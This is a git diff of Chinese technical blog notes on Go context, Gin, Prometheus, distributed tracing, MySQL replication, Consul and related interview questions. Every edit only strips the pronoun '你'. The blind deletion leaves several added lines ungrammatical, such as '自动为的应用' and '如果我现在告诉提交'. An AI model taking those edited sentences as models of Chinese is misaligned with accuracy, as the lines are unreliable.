方法来检查 Context 是否已被取消。 +可以使用 ctx.Done() 方法和 ctx.Err() 方法来检查 Context 是否已被取消。 -ctx.Done() 返回一个channel，当 Context 被取消或超时时，这个channel会被关闭。你可以使用一个select语句来监听这个channel： +ctx.Done() 返回一个channel，当 Context 被取消或超时时，这个channel会被关闭。可以使用一个select语句来监听这个channel： > 当 Context 被取消或超时时，它会如何影响与其相关的 goroutines？ @@ -789,7 +789,7 @@ ctx.Done() 返回一个channel，当 Context 被取消或超时时，这个chann 工作原理：在内部，context.WithValue返回一个新的Context实例，这个实例在其内部持有原始Context（父Context）和指定的键值对。当从新的Context中请求值时，它首先检查自己是否持有该键，如果没有，则委托给它的父Context。这种方式可以形成一个链式结构，使得值可以在Context链中被查找。 -> 你如何看待在 Context 中传递值的实践？在什么情况下应该这样做，什么时候不应该？ +> 如何看待在 Context 中传递值的实践？在什么情况下应该这样做，什么时候不应该？ 利弊：使用context.WithValue来传递值在某些情况下非常有用，但它也有一些限制和缺点。由于Context的设计原则是不可变的，并且不鼓励使用复杂的结构，因此当存储大量数据或复杂的结构时可能不是最佳选择。 @@ -804,9 +804,9 @@ ctx.Done() 返回一个channel，当 Context 被取消或超时时，这个chann 避免使用非context包中定义的类型作为键，以减少键之间的冲突。最佳实践是定义一个私有类型并使用它作为键，例如 type myKey struct{}。 最后，对于context.WithValue，关键是明智地使用。确保它是在请求范围内传递少量关键数据时的合适工具，而不是用于通用的、全局的或大量的数据传递。 -描述一个你曾经遇到的，需要使用 Context 来解决的实际问题。 +描述一个曾经遇到的，需要使用 Context 来解决的实际问题。 -> 如果你有一个与数据库交互的长时间运行的查询，你如何使用 Context 确保它在特定的超时时间内完成或被取消？ +> 如果有一个与数据库交互的长时间运行的查询，如何使用 Context 确保它在特定的超时时间内完成或被取消？ 使用Context来控制与数据库交互的长时间运行查询的超时或取消非常实用。以下是一些步骤来说明如何做到这一点： @@ -818,7 +818,7 @@ ctx, cancel := context.WithTimeout(context.Background(), time.Second*10) // 10 defer cancel() // 确保资源被释放 ``` 传递Context给数据库查询： -大多数现代Go的数据库驱动都支持Context，它们允许你传递一个Context作为查询的一部分。当Context被取消或超时时，查询也将被取消。 +大多数现代Go的数据库驱动都支持Context，它们允许传递一个Context作为查询的一部分。当Context被取消或超时时，查询也将被取消。 ```go rows, err := db.QueryContext(ctx, "YOUR_LONG_RUNNING_SQL_QUERY") @@ -828,10 +828,10 @@ if err != nil { } ``` 处理查询结果： -如果查询在超时时间内完成，你可以像往常一样处理结果。但如果查询超时或被其他方式取消，QueryContext将返回一个错误，通常是context.DeadlineExceeded或context.Canceled。 +如果查询在超时时间内完成，可以像往常一样处理结果。但如果查询超时或被其他方式取消，QueryContext将返回一个错误，通常是context.DeadlineExceeded或context.Canceled。 监视Context的取消状态： -你也可以使用一个goroutine监视Context的状态，当Context被取消时进行额外的清理工作或发出警告。 +也可以使用一个goroutine监视Context的状态，当Context被取消时进行额外的清理工作或发出警告。 ```go go func() { @@ -842,21 +842,21 @@ go func() { }() ``` 关闭所有相关资源： -一旦你完成了数据库查询（无论是正常完成、超时还是取消），确保关闭任何打开的资源，如数据库连接、结果集等。 +一旦完成了数据库查询（无论是正常完成、超时还是取消），确保关闭任何打开的资源，如数据库连接、结果集等。 > 如果多个 goroutine 共享同一个 Context，当该 Context 被取消时，会发生什么？ 如果多个 goroutine 共享同一个 Context，并且该 Context 被取消，以下情况会发生： -所有 goroutines 接收到取消信号：Context 跨多个 goroutine 是共享的。因此，如果你取消了一个 Context，所有使用该 Context 的 goroutine 都能感知到这个取消事件。 +所有 goroutines 接收到取消信号：Context 跨多个 goroutine 是共享的。因此，如果取消了一个 Context，所有使用该 Context 的 goroutine 都能感知到这个取消事件。 ctx.Done() 通道关闭：当一个 Context 被取消或超时，Done方法返回的通道将被关闭。任何正在等待该通道的 goroutine 都将被唤醒。 -ctx.Err() 返回具体的错误：当你检查ctx.Err()时，它将返回一个表明原因的错误，如context.Canceled或context.DeadlineExceeded。 +ctx.Err() 返回具体的错误：当检查ctx.Err()时，它将返回一个表明原因的错误，如context.Canceled或context.DeadlineExceeded。 > 如何确保在使用 Context 时资源得到正确的清理（例如关闭数据库连接、释放文件句柄等）？ -使用 defer：当你开始一个可能会被取消的操作（如打开一个数据库连接或文件）时，应立即使用defer来确保资源在操作结束时被清理。 +使用 defer：当开始一个可能会被取消的操作（如打开一个数据库连接或文件）时，应立即使用defer来确保资源在操作结束时被清理。 ```go conn := db.Connect() @@ -865,7 +865,7 @@ defer conn.Close() // 确保数据库连接在函数结束时关闭 file, _ := os.Open("path/to/file") defer file.Close() // 确保文件在函数结束时关闭 ``` -监听 Context 的 Done 通道：你可以在一个单独的 goroutine 中监听ctx.Done()，以确保在 Context 被取消时执行资源清理。 +监听 Context 的 Done 通道：可以在一个单独的 goroutine 中监听ctx.Done()，以确保在 Context 被取消时执行资源清理。 ```go go func() { @@ -958,7 +958,7 @@ Jaeger 为 span 和服务两种类型的数据分别使用了不同的索引模 日志数据存储： 在 Jaeger 的 span 中，日志是时间戳和键值对的数组。当 span 被存储到 Elasticsearch 中时，这些日志也被包括在 span 文档中。 -如果你还使用 Elasticsearch 来存储其他非 Jaeger 的日志数据，通常会使用像 Filebeat 或 Logstash 这样的工具来导入，每个日志事件都会作为单独的文档存储在一个特定的索引中。 +如果还使用 Elasticsearch 来存储其他非 Jaeger 的日志数据，通常会使用像 Filebeat 或 Logstash 这样的工具来导入，每个日志事件都会作为单独的文档存储在一个特定的索引中。 数据查询： 当从 Jaeger UI 查询追踪时，Jaeger 查询组件会执行针对 Elasticsearch 的查询，找到相关的 spans 并重建完整的追踪。 @@ -979,7 +979,7 @@ Elasticsearch 的强大搜索功能使得复杂的追踪查询变得容易，如 倒排索引： Elasticsearch 中的“索引”这个词的另一层含义关联到了“倒排索引”。在信息检索领域，倒排索引是文档检索的主要数据结构。它将“词”映射到在该词上出现的文档列表。 -当你将文档添加到 Elasticsearch 中时，Elasticsearch 会为文档内容中的每个唯一词条构建一个倒排索引。 +当将文档添加到 Elasticsearch 中时，Elasticsearch 会为文档内容中的每个唯一词条构建一个倒排索引。 这种结构使得基于文本内容的搜索非常高效，因为它允许系统查找包含给定词条的所有文档，而不必扫描每个文档来查找匹配项。 映射（Mapping）： @@ -1050,7 +1050,7 @@ Collector 将这些数据存储在 Storage 中。 灵活的存储选项：Zipkin 支持多种存储后端。 与 Spring Cloud 集成：对于使用 Spring Cloud 的项目，Zipkin 提供了很好的集成支持。 -Zipkin 本身就是一个完整的分布式追踪系统，包括数据收集、存储和可视化等功能。可以在微服务的代码中嵌入 Zipkin 的客户端库（或者使用与 Zipkin 兼容的库）来收集追踪数据。这些数据然后会被发送到 Zipkin 的收集器，并存储在 Zipkin 支持的存储后端（如 In-Memory、Cassandra、Elasticsearch 等）。最后，你可以通过 Zipkin 的 Web UI 或 API 来查询和可视化这些数据。 +Zipkin 本身就是一个完整的分布式追踪系统，包括数据收集、存储和可视化等功能。可以在微服务的代码中嵌入 Zipkin 的客户端库（或者使用与 Zipkin 兼容的库）来收集追踪数据。这些数据然后会被发送到 Zipkin 的收集器，并存储在 Zipkin 支持的存储后端（如 In-Memory、Cassandra、Elasticsearch 等）。最后，可以通过 Zipkin 的 Web UI 或 API 来查询和可视化这些数据。 OpenTelemetry 在 OpenTelemetry 中，Trace ID 通常是在分布式系统的入口点（例如，一个前端服务接收到的 HTTP 请求）生成的。一旦生成了 Trace ID，它就会在整个请求的生命周期内传播，包括跨服务和跨进程的调用。这通常是通过在服务间通信的请求头中添加特殊字段来实现的。 diff --git a/_posts/2023-10-3-test-markdown.md b/_posts/2023-10-3-test-markdown.md index 42ab00c67f5c..31f4134e9998 100644 --- a/_posts/2023-10-3-test-markdown.md +++ b/_posts/2023-10-3-test-markdown.md @@ -47,7 +47,7 @@ http_requests_total{method="GET",status="200"} = 1000 http_requests_total{method="POST",status="200"} = 500 http_requests_total{method="GET",status="500"} = 20 ``` -这些**数据点**都属于**http_requests_total**这个指标，但是每一个都记录了不同的HTTP请求类型（GET或POST）和状态码（200或500）的请求总数。如果你直接查询http_requests_total，Prometheus会返回所有这些不同的数据点。 +这些**数据点**都属于**http_requests_total**这个指标，但是每一个都记录了不同的HTTP请求类型（GET或POST）和状态码（200或500）的请求总数。如果直接查询http_requests_total，Prometheus会返回所有这些不同的数据点。 ##### 时间序列 @@ -55,15 +55,15 @@ http_requests_total{method="GET",status="500"} = 20 在Prometheus中，每个时间序列数据都有两个主要的组成部分：指标名称和标签。 -指标名称（Metric Name）：这是用来描述所观察或测量数据的名称。比如，你可能有一个名为http_requests_total的指标，它用来记录你的服务器收到的HTTP请求的总数。 +指标名称（Metric Name）：这是用来描述所观察或测量数据的名称。比如，可能有一个名为http_requests_total的指标，它用来记录的服务器收到的HTTP请求的总数。 -标签（Labels）：标签是键值对，用来进一步描述你的指标。比如，你的http_requests_total指标可能有一个名为method的标签，其值可能是GET，POST等，用以区分不同类型的HTTP请求。你还可以有另一个名为status的标签，其值可能是200，404等，以区分返回的HTTP状态代码。 +标签（Labels）：标签是键值对，用来进一步描述的指标。比如，的http_requests_total指标可能有一个名为method的标签，其值可能是GET，POST等，用以区分不同类型的HTTP请求。还可以有另一个名为status的标签，其值可能是200，404等，以区分返回的HTTP状态代码。 > 并不是每分钟都新建一个http_requests_total{method="GET", status="200"}指标。而是有一个http_requests_total{method="GET", status="200"}指标存在，它的值会随着收到满足条件的HTTP请求而递增，而Prometheus每分钟读取一次这个值，并将读取的值作为一个新的数据点存储到TSDB中。 > 每一个这样的数据点包括两个部分：一个时间戳（表示这个值是何时读取的），和一个值（表示在该时间戳时，该指标的值是多少）。这样一系列的数据点就构成了一个时间序列。 -每个时间序列数据由指标名称和标签的组合唯一标识。例如，你可能有以下两个时间序列： +每个时间序列数据由指标名称和标签的组合唯一标识。例如，可能有以下两个时间序列： ```shell http_requests_total{method="GET", status="200"} @@ -116,22 +116,22 @@ http_requests_total{method="POST", status="404"} #### PromQL数据类型 -Instant vector（即时向量）：即时向量是指在某一个特定的时间点，所有时间序列的值的集合。比如，如果你有一个监控CPU使用率的指标，那么在某一特定时间点（比如现在），所有CPU的使用率就构成一个即时向量。 +Instant vector（即时向量）：即时向量是指在某一个特定的时间点，所有时间序列的值的集合。比如，如果有一个监控CPU使用率的指标，那么在某一特定时间点（比如现在），所有CPU的使用率就构成一个即时向量。 例子：`http_requests_total` 这个表达式返回的就是一个即时向量，包含了所有时刻下的"http_requests_total"的时间序列的最新值。 -在Prometheus中，http_requests_total是一个指标，它的每一个实例（也就是具有不同标签组合的数据点）都记录了相应实例的HTTP请求总数。例如，你可能有这样的数据点： +在Prometheus中，http_requests_total是一个指标，它的每一个实例（也就是具有不同标签组合的数据点）都记录了相应实例的HTTP请求总数。例如，可能有这样的数据点： ```lua http_requests_total{method="GET",status="200"} = 1000 http_requests_total{method="POST",status="200"} = 500 http_requests_total{method="GET",status="500"} = 20 ``` -这些数据点都属于http_requests_total这个指标，但是每一个都记录了不同的HTTP请求类型（GET或POST）和状态码（200或500）的请求总数。如果你直接查询http_requests_total，Prometheus会返回所有这些不同的数据点。 +这些数据点都属于http_requests_total这个指标，但是每一个都记录了不同的HTTP请求类型（GET或POST）和状态码（200或500）的请求总数。如果直接查询http_requests_total，Prometheus会返回所有这些不同的数据点。 -然而，如果你想要获取系统中所有HTTP请求的总数，你需要把所有这些不同的数据点加起来。这就是为什么你需要sum(http_requests_total)。sum函数会将所有具有相同指标名称但具有不同标签组合的数据点值相加，得到一个总的请求数量。 +然而，如果想要获取系统中所有HTTP请求的总数，需要把所有这些不同的数据点加起来。这就是为什么需要sum(http_requests_total)。sum函数会将所有具有相同指标名称但具有不同标签组合的数据点值相加，得到一个总的请求数量。 -Range vector（范围向量）：范围向量是指在某一个时间范围内，所有时间序列的值的集合。比如，你可能想看过去5分钟内，所有CPU的使用率，那么你得到的就是一个范围向量。 +Range vector（范围向量）：范围向量是指在某一个时间范围内，所有时间序列的值的集合。比如，可能想看过去5分钟内，所有CPU的使用率，那么得到的就是一个范围向量。 例子：`http_requests_total[5m]` 这个表达式返回的就是一个范围向量，它包含了过去5分钟内所有"http_requests_total"的时间序列的值。 @@ -169,9 +169,9 @@ sum(rate(http_requests_total{status_code=~"5.."}[1h])) / sum(rate(http_requests_ 在Prometheus中，rate()函数是用来计算一个范围向量（range vector）在指定的时间范围内的平均增长率的。它返回的结果是一个即时向量（instant vector），即在最近的时间点上的值。 -如果你直接使用sum(http_requests_total{status_code=~"5.."}[1h]) / sum(http_requests_total[1h])，那么你将试图将一个范围向量除以另一个范围向量，这在Prometheus的数据模型中是不被允许的。 +如果直接使用sum(http_requests_total{status_code=~"5.."}[1h]) / sum(http_requests_total[1h])，那么将试图将一个范围向量除以另一个范围向量，这在Prometheus的数据模型中是不被允许的。 -而将rate()函数应用于每一个范围向量，你会得到在过去一小时内每秒钟HTTP 5xx错误的平均增长率，以及每秒钟所有HTTP请求的平均增长率。将这两个结果相除，你就能得到过去一小时内每秒钟的HTTP错误率，这是一个合理和有用的指标。 +而将rate()函数应用于每一个范围向量，会得到在过去一小时内每秒钟HTTP 5xx错误的平均增长率，以及每秒钟所有HTTP请求的平均增长率。将这两个结果相除，就能得到过去一小时内每秒钟的HTTP错误率，这是一个合理和有用的指标。 所以我们需要将rate()函数应用于这两个范围向量，然后将结果相除，才能正确地计算出过去一小时内的HTTP错误率。 diff --git a/_posts/2023-10-6-test-markdown.md b/_posts/2023-10-6-test-markdown.md index de10a9f90a28..b34ebe1e552d 100644 --- a/_posts/2023-10-6-test-markdown.md +++ b/_posts/2023-10-6-test-markdown.md @@ -17,7 +17,7 @@ Gin 的主要特性包括： #### 中间件 中间件支持：Gin 有一个中间件框架，可以处理 HTTP 请求的入口和出口。用户可以定义自己的中间件。 -在 Gin 中，中间件是一种函数，它可以在处理 HTTP 请求的过程中执行一些额外的操作，比如日志记录、用户验证、数据预处理等。中间件函数在 Gin 中是通过 gin.HandlerFunc 类型来定义的，它接受一个 gin.Context 参数，你可以用这个参数来控制 HTTP 请求的输入和输出。 +在 Gin 中，中间件是一种函数，它可以在处理 HTTP 请求的过程中执行一些额外的操作，比如日志记录、用户验证、数据预处理等。中间件函数在 Gin 中是通过 gin.HandlerFunc 类型来定义的，它接受一个 gin.Context 参数，可以用这个参数来控制 HTTP 请求的输入和输出。 下面是一个中间件的例子，这个中间件会记录每个请求的处理时间： @@ -34,8 +34,8 @@ func AuthMiddleware() gin.HandlerFunc { return } - // 解析 Token，这里假设你有一个名为 parseToken 的函数来进行解析 - // 你需要替换成你实际的解析函数 + // 解析 Token，这里假设有一个名为 parseToken 的函数来进行解析 + // 需要替换成实际的解析函数 user, err := parseToken(token) if err != nil { c.JSON(http.StatusUnauthorized, gin.H{"error": "Invalid token"}) @@ -58,16 +58,16 @@ func AuthMiddleware() gin.HandlerFunc { #### gin.Context -gin.Context 是 Gin 框架中的一个关键类型，它封装了 Go net/http 中的 Request 和 ResponseWriter，并提供了许多用于 HTTP 请求处理和响应的便捷方法。例如，你可以使用 gin.Context 来读取请求参数，设置响应状态码，写入响应头和响应体等。 +gin.Context 是 Gin 框架中的一个关键类型，它封装了 Go net/http 中的 Request 和 ResponseWriter，并提供了许多用于 HTTP 请求处理和响应的便捷方法。例如，可以使用 gin.Context 来读取请求参数，设置响应状态码，写入响应头和响应体等。 #### context.Context context.Context 是 Go 标准库中的一个接口类型，它用于跨 API 边界和协程之间传递 deadline、取消信号和其他请求相关的值。主要应用在同步操作如服务器的请求处理，以及并发操作如 goroutine 之间的同步等场景。 -这两个上下文在设计和使用上是互补的。在处理 HTTP 请求时，你可能会在 gin.Context 中使用 context.Context，以便传递跨请求的数据或者在需要的时候取消某些操作。 +这两个上下文在设计和使用上是互补的。在处理 HTTP 请求时，可能会在 gin.Context 中使用 context.Context，以便传递跨请求的数据或者在需要的时候取消某些操作。 -具体来说，gin.Context 中实际上也有一个 context.Context，你可以通过 gin.Context 的 Request.Context() 方法获取到。你也可以通过 gin.Context 的 Copy() 方法获取到一个包含 gin.Context 所有数据的 context.Context，但这个 context.Context 并不能用来取消操作，所以通常更推荐使用 Request.Context()。 +具体来说，gin.Context 中实际上也有一个 context.Context，可以通过 gin.Context 的 Request.Context() 方法获取到。也可以通过 gin.Context 的 Copy() 方法获取到一个包含 gin.Context 所有数据的 context.Context，但这个 context.Context 并不能用来取消操作，所以通常更推荐使用 Request.Context()。 ```go package main @@ -117,7 +117,7 @@ JSON 验证：Gin 可以方便地进行 JSON、XML 和 HTML 渲染。 **多路复用 (Multiplexing)** -HTTP/2的多路复用允许多个请求和响应在同一个TCP连接上并行交换。在HTTP/1.x中，如果你想并行发送多个请求，你需要使用多个TCP连接。这可能会导致效率低下的TCP连接使用，尤其是在高延迟环境中。但在HTTP/2中，因为多个请求可以在同一个TCP连接上并行发送，所以它可以更有效地使用TCP连接，提高性能。 +HTTP/2的多路复用允许多个请求和响应在同一个TCP连接上并行交换。在HTTP/1.x中，如果想并行发送多个请求，需要使用多个TCP连接。这可能会导致效率低下的TCP连接使用，尤其是在高延迟环境中。但在HTTP/2中，因为多个请求可以在同一个TCP连接上并行发送，所以它可以更有效地使用TCP连接，提高性能。 此外，多路复用还解决了HTTP/1.x中的"队头阻塞"问题。在HTTP/1.x中，由于同一个TCP连接上的请求必须按顺序响应，所以一个缓慢的请求可能会阻塞后面的请求，即使后面的请求已经准备好发送了。而在HTTP/2中，因为响应可以在同一个连接上并行发送，所以一个缓慢的请求不会阻塞其他请求。 diff --git a/_posts/2023-10-7-test-markdown.md b/_posts/2023-10-7-test-markdown.md index f9f64bce3558..8269be8359d4 100644 --- a/_posts/2023-10-7-test-markdown.md +++ b/_posts/2023-10-7-test-markdown.md @@ -10,7 +10,7 @@ tags: [gin] ### 基础理解: -> 描述一下你增加的每一个SQL函数的功能和用途。对于每个函数，请给出一个使用场景和相应的SQL示例。 +> 描述一下增加的每一个SQL函数的功能和用途。对于每个函数，请给出一个使用场景和相应的SQL示例。 RPAD: @@ -77,7 +77,7 @@ IFNULL: SELECT IFNULL(NULL, 'default'); -- 输出: 'default' ``` -CAST (你提到的CAST_NCHAR可能是MySQL中的CAST): +CAST (提到的CAST_NCHAR可能是MySQL中的CAST): 功能：转换一个值为指定的数据类型。 用途：数据类型转换。 @@ -99,7 +99,7 @@ SELECT MOD(7, 3); ### 设计和实现: -> 你是如何决定增加这些特定的SQL函数的？它们解决了什么具体的问题或需求？ +> 是如何决定增加这些特定的SQL函数的？它们解决了什么具体的问题或需求？ 性能优化：有时，通过Arana内置函数来处理某些操作比在应用级别进行处理更为高效。 @@ -115,7 +115,7 @@ CAST_NCHAR等类型转换函数可能会有更多的性能开销，特别是当 ### 测试和验证: -你是如何测试这些新增函数的功能和性能的？ +是如何测试这些新增函数的功能和性能的？ 是否有遇到任何边缘情况或者异常情况？如何处理的？ @@ -136,7 +136,7 @@ CAST_NCHAR等类型转换函数可能会有更多的性能开销，特别是当 IF是一个条件函数，它接受三个参数：一个条件和两个结果值。如果条件为真，则返回第二个参数，否则返回第三个参数。示例：IF(1=1, 'true', 'false')返回true。 IFNULL若接受两个参数，它会检查第一个参数是否为NULL，如果是，则返回第二个参数，否则返回第一个参数。 示例：IFNULL(NULL, 'default')返回default。 -> 如果让你优化STRCMP函数，你会有什么思路？ +> 如果让优化STRCMP函数，会有什么思路？ > 如何确保CAST_NCHAR函数在不同的字符集之间都可以正常工作？ @@ -154,8 +154,8 @@ RPAD和LTRIM在实际数据库设计中有哪些常见的用途？ ### 深入问题: -如果你的数据库中间件是分布式的，如何确保这些函数在所有节点上都有一致的表现？ -你如何处理可能的浮点误差，例如在MOD函数中？ +如果的数据库中间件是分布式的，如何确保这些函数在所有节点上都有一致的表现？ +如何处理可能的浮点误差，例如在MOD函数中？ @@ -369,7 +369,7 @@ GTID（全局事务ID）是MySQL的一种方式，为每个事务提供了一个 数据过滤和转换：可以使用--replicate-do-db, --replicate-ignore-db等选项来过滤复制的数据。 -> 你如何看待多源复制？ +> 如何看待多源复制？ 多源复制允许一个从服务器从多个主服务器复制数据。这在复杂的复制拓扑中非常有用。 @@ -377,11 +377,11 @@ GTID（全局事务ID）是MySQL的一种方式，为每个事务提供了一个 ### 实践经验 -> 描述一个你曾经遇到的关于主从复制的问题及其解决方法。 +> 描述一个曾经遇到的关于主从复制的问题及其解决方法。 曾遇到过由于网络中断导致的复制延迟问题。解决方法是优化网络并为复制设置更大的超时时间。 -> 你如何监控复制的健康状态和性能？ +> 如何监控复制的健康状态和性能？ 可以使用SHOW SLAVE STATUS命令、Performance Schema或第三方工具如Percona Monitoring and Management (PMM)。 @@ -539,7 +539,7 @@ etcd提供了一个键值存储系统，它常被用作Kubernetes的配置中心 etcd: 它是一个强一致性的键值存储系统，常被用作Kubernetes的配置中心。 提供了对于TTL（Time To Live）的原生支持，这对于服务发现非常有用。 -提供了多版本并发控制 (MVCC) 功能，允许你查询旧版本的数据。 +提供了多版本并发控制 (MVCC) 功能，允许查询旧版本的数据。 Consul: 除了键值存储外，Consul提供了服务发现和健康检查功能。 @@ -549,7 +549,7 @@ Consul: - 安装 Consul -首先，你需要从Consul的官方网站下载合适的二进制文件。在Linux系统上，可以使用以下命令下载并解压： +首先，需要从Consul的官方网站下载合适的二进制文件。在Linux系统上，可以使用以下命令下载并解压： ```bash wget https://releases.hashicorp.com/consul/1.10.1/consul_1.10.1_linux_amd64.zip @@ -584,7 +584,7 @@ curl http://localhost:8500/v1/kv/mykey?raw ``` 使用UI: -打开浏览器并访问 `http://localhost:8500/ui`。在这里，你可以看到一个直观的界面来管理键值对。 +打开浏览器并访问 `http://localhost:8500/ui`。在这里，可以看到一个直观的界面来管理键值对。 1. 服务发现 @@ -617,18 +617,18 @@ curl --request PUT --data @web-service.json http://localhost:8500/v1/agent/servi Consul的多数据中心： -在大型的企业和组织中，为了业务的高可用性、灾备和客户访问速度等因素，通常会在多个地理位置（例如，美国、欧洲、亚洲）设立数据中心。这些数据中心间可能需要进行某些级别的数据和服务交互。Consul的多数据中心支持意味着你可以在每个数据中心都运行一个Consul集群，但它们之间可以互相感知、交互和共享一些关键信息。 +在大型的企业和组织中，为了业务的高可用性、灾备和客户访问速度等因素，通常会在多个地理位置（例如，美国、欧洲、亚洲）设立数据中心。这些数据中心间可能需要进行某些级别的数据和服务交互。Consul的多数据中心支持意味着可以在每个数据中心都运行一个Consul集群，但它们之间可以互相感知、交互和共享一些关键信息。 服务发现跨数据中心 - 如果一个数据中心的服务失败了，客户端可以发现并使用其他数据中心的服务。 网络效率 - 当本地数据中心的服务可用时，客户端通常首选本地数据中心，只在必要时才切换到远程数据中心。 -简化配置 - 你不需要为每个数据中心设置单独的服务发现和配置工具。 +简化配置 - 不需要为每个数据中心设置单独的服务发现和配置工具。 -初始化 - 当你在纽约的数据中心启动Consul时，你可以将其配置为"纽约"数据中心，并告诉它如何找到伦敦和新加坡的数据中心。 -服务注册 - 你在纽约的数据中心有一个名为"web-api"的服务，它在伦敦的数据中心也有一个备份或同类服务。 +初始化 - 当在纽约的数据中心启动Consul时，可以将其配置为"纽约"数据中心，并告诉它如何找到伦敦和新加坡的数据中心。 +服务注册 - 在纽约的数据中心有一个名为"web-api"的服务，它在伦敦的数据中心也有一个备份或同类服务。 服务发现 - 当纽约的应用程序需要"web-api"服务时，Consul首先会在纽约的数据中心寻找这个服务。如果这个服务在纽约出现问题，Consul会知道伦敦数据中心也有这个服务，并可以将请求路由到那里。 -跨数据中心的健康检查 - 你可以配置健康检查，不仅仅检查本地数据中心的服务，而且还可以检查远程数据中心的服务。 +跨数据中心的健康检查 - 可以配置健康检查，不仅仅检查本地数据中心的服务，而且还可以检查远程数据中心的服务。 > 如何看待etcd与Consul的性能和使用场景上的差异？ @@ -659,7 +659,7 @@ Raft提供了与Paxos相同级别的安全性和效率，但其更简单、更 诊断可以从查看节点的日志开始，检查是否有网络问题或硬件故障。使用etcdctl或Consul的CLI和UI工具可以帮助确定集群的状态和问题所在。 解决问题可能包括重启节点、解决网络问题或恢复硬件。 -> 请描述一次你在生产环境中遇到的与Raft或etcd/Consul相关的问题，以及你是如何解决的。 +> 请描述一次在生产环境中遇到的与Raft或etcd/Consul相关的问题，以及是如何解决的。 问题诊断： @@ -752,7 +752,7 @@ InnoDB 的 MVCC（多版本并发控制）实现确实使用了创建版本号 **半同步复制 (Semi-Synchronous Replication)** -为了启用半同步复制，你需要进行以下配置： +为了启用半同步复制，需要进行以下配置： 在主服务器和从服务器上安装半同步插件： @@ -778,7 +778,7 @@ rpl_semi_sync_slave_enabled = 1 注意：MySQL本身并不直接支持完全的同步复制，但可以通过Galera Cluster或其他第三方解决方案来实现。 -对于MySQL，你可以使用Galera Cluster实现同步复制。配置Galera Cluster比较复杂，需要进行以下几个主要步骤： +对于MySQL，可以使用Galera Cluster实现同步复制。配置Galera Cluster比较复杂，需要进行以下几个主要步骤： ```ini [mysqld] @@ -934,7 +934,7 @@ Cassandra使用它来发现可用节点和不可用节点。 ONE：至少一个节点确认。 QUORUM：多数节点确认。 ALL：所有节点确认。 -你可以根据需要调整一致性级别来平衡性能和数据可靠性。 +可以根据需要调整一致性级别来平衡性能和数据可靠性。 读写路径和写放大： 写操作首先写入CommitLog和Memtable。当Memtable满时，它被刷新到SSTable。 写放大是指一个写操作导致多个实际的磁盘写入操作。 diff --git a/_posts/2023-10-8-test-markdown.md b/_posts/2023-10-8-test-markdown.md index 3bcddcf4431e..d56f41b83c6d 100644 --- a/_posts/2023-10-8-test-markdown.md +++ b/_posts/2023-10-8-test-markdown.md @@ -271,7 +271,7 @@ sync.WaitGroup：允许等待一组协程完成。 -**在很多数据库系统（如MySQL）中，你可以开启慢查询日志功能，它会记录执行时间超过指定阈值的查询。** +**在很多数据库系统（如MySQL）中，可以开启慢查询日志功能，它会记录执行时间超过指定阈值的查询。** 检查慢查询日志： ```shell SHOW VARIABLES LIKE 'slow_query_log'; @@ -301,7 +301,7 @@ tail -f /path/to/your/logfile.log **EXPLAIN命令**： -对于找出的慢查询，使用EXPLAIN命令来查看查询的执行计划。这可以帮助你理解SQL是如何被执行的，哪些索引被使用，以及哪些可能的优化点。 +对于找出的慢查询，使用EXPLAIN命令来查看查询的执行计划。这可以帮助理解SQL是如何被执行的，哪些索引被使用，以及哪些可能的优化点。 ```shell EXPLAIN SELECT ... [your slow query here] ...; ``` @@ -327,7 +327,7 @@ DNS 查询: 浏览器将域名转换为IP地址。如果浏览器或操作系统 建立TCP连接: 一旦获取到IP地址，浏览器会与服务器建立一个TCP连接。这通常使用三次握手完成。 -发送HTTP请求: TCP连接建立后，浏览器会发送HTTP请求到服务器，请求你输入的URL对应的资源。 +发送HTTP请求: TCP连接建立后，浏览器会发送HTTP请求到服务器，请求输入的URL对应的资源。 服务器处理: 服务器收到请求后，开始处理这个请求（可能包括数据库查询、运行后端代码等），然后准备返回的响应。 @@ -396,7 +396,7 @@ https协议需要到ca申请证书， **常量区**：存放如字符串常量的区域。 -> 说说你了解的死锁？包括死锁产生原因、必要条件、处理方法、死锁回复以及死锁预防等 +> 说说了解的死锁？包括死锁产生原因、必要条件、处理方法、死锁回复以及死锁预防等 互斥 不剥夺 @@ -469,7 +469,7 @@ kqueue (特定于BSD系统，如FreeBSD和macOS) 同步：它们是由当前执行的代码直接引起的。 键盘敲击发生的中断： -当你敲击键盘时，键盘的硬件会发送一个电信号给中断控制器。 +当敲击键盘时，键盘的硬件会发送一个电信号给中断控制器。 中断控制器识别这个信号并将其传递给CPU，通知CPU键盘已经有数据准备好被读取。 CPU然后暂停其正在执行的任务，并通过预定义的中断服务程序(ISR)来处理这个中断。 ISR负责从键盘缓冲区读取数据，并将其存储在内存中，通常在某个队列中，供操作系统或应用程序稍后处理。 @@ -488,7 +488,7 @@ ISR负责从键盘缓冲区读取数据，并将其存储在内存中，通常 目的：响应程序中的错误。 性质：同步。 键盘敲击中断：当键盘被敲击，发送信号给CPU，暂停当前任务，读取键值，再继续任务。 -**键盘敲击中断就是当你敲击键盘时，它发送一个信号给计算机，告诉它需要注意这个新输入，并相应地处理它。** +**键盘敲击中断就是当敲击键盘时，它发送一个信号给计算机，告诉它需要注意这个新输入，并相应地处理它。** > Redis 的RedLock ？ @@ -523,7 +523,7 @@ ZK 集群的读写吞吐量不高 > go切片（slice)扩容的具体策略？ -对于Go切片的扩容策略（即Go 1.16），当你向一个切片追加元素并超出其容量时，Go会为切片分配一个新的更大的底层数组。具体的扩容规则如下： +对于Go切片的扩容策略（即Go 1.16），当向一个切片追加元素并超出其容量时，Go会为切片分配一个新的更大的底层数组。具体的扩容规则如下： 底层维护了一个指向数组的指针，然后还维护了一个数组的长度和一个它的空间预存的一个 CAP 的容量值。 @@ -592,7 +592,7 @@ OpenTelemetry 是一个开源项目，其目标是为观察性工具（包括但 其探针（通常被称为 "instrumentation"）技术的基础原理如下： -自动化工具：OpenTelemetry 提供了自动化工具，可以无缝地为应用添加追踪代码。例如，如果你使用 Java Spring Boot，OpenTelemetry 有专门的工具可以自动为你的应用添加追踪代码。 +自动化工具：OpenTelemetry 提供了自动化工具，可以无缝地为应用添加追踪代码。例如，如果使用 Java Spring Boot，OpenTelemetry 有专门的工具可以自动为的应用添加追踪代码。 API和SDK：OpenTelemetry 提供了一套 API 和 SDK，允许开发者为代码添加自定义的追踪和指标。 @@ -610,14 +610,14 @@ Exporters：一旦数据被捕获，它需要被发送到一个后端系统（ 两阶段提交 (2PC)： -准备阶段：协调者询问所有参与者：“如果我现在告诉你提交，你是否能够提交？” +准备阶段：协调者询问所有参与者：“如果我现在告诉提交，是否能够提交？” 提交/中止阶段：基于参与者的反馈，协调者决定告诉参与者是提交还是中止事务。 